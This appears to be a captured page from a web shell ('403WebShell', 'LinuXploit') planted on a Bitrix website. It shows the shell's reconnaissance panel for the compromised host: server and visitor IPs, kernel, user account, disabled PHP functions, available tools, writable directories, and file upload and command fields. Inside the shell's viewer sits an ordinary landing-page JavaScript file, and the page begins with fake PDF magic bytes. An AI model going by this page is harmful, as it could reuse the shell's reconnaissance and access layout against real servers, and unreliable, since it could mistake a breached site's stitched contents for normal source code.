%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.119.139.219
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/pages_field.js
;(function() {
	"use strict";

	BX.namespace("BX.Landing.UI.Field");

	BX.Landing.UI.Field.Pages = function(options)
	{
		BX.Landing.UI.Field.BaseField.apply(this, arguments);
		BX.remove(this.input);
		this.layout.classList.add("landing-ui-field-pages");

		this.rangeField = this.createRangeField(Number(options.value));

		this.gridLeft = this.createGridLeft();
		this.gridRight = this.createGridRight();
		this.grid = this.createGrid([this.gridLeft, this.gridRight]);

		this.layout.appendChild(this.grid);
		this.gridLeft.appendChild(this.rangeField.layout);

		// this.addButton = this.createButtonField();
		// this.gridRight.appendChild(this.addButton.layout);
	};

	BX.Landing.UI.Field.Pages.prototype = {
		constructor: BX.Landing.UI.Field.Pages,
		__proto__: BX.Landing.UI.Field.BaseField.prototype,

		createRangeField: function(value)
		{
			var field = new BX.Landing.UI.Field.Range({
				items: Array.from({length: 100}, function(item, index) {
					return {name: index, value: index}
				}),
				content: BX.type.isNumber(value) ? value : undefined
			});

			BX.remove(field.header);

			return field;
		},

		createGridLeft: function()
		{
			return BX.create("div", {
				props: {
					className: "landing-ui-field-pages-grid-left"
				}
			});
		},

		createGridRight: function()
		{
			return BX.create("div", {
				props: {
					className: "landing-ui-field-pages-grid-right"
				}
			});
		},

		createGrid: function(children)
		{
			return BX.create("div", {
				props: {
					className: "landing-ui-field-pages-grid"
				},
				children: children
			});
		},

		createButtonField: function()
		{
			return new BX.Landing.UI.Button.BaseButton({
				text: BX.Landing.Loc.getMessage("LANDING_CARDS__ADD_NEW_PAGE_BUTTON"),
				className: [
					"landing-ui-button-select-link",
					"landing-ui-field-pages-add-button"
				]
			});
		},

		getValue: function()
		{
			return this.rangeField.getValue();
		}
	};
})();

Youez - 2016 - github.com/yon3zu
LinuXploit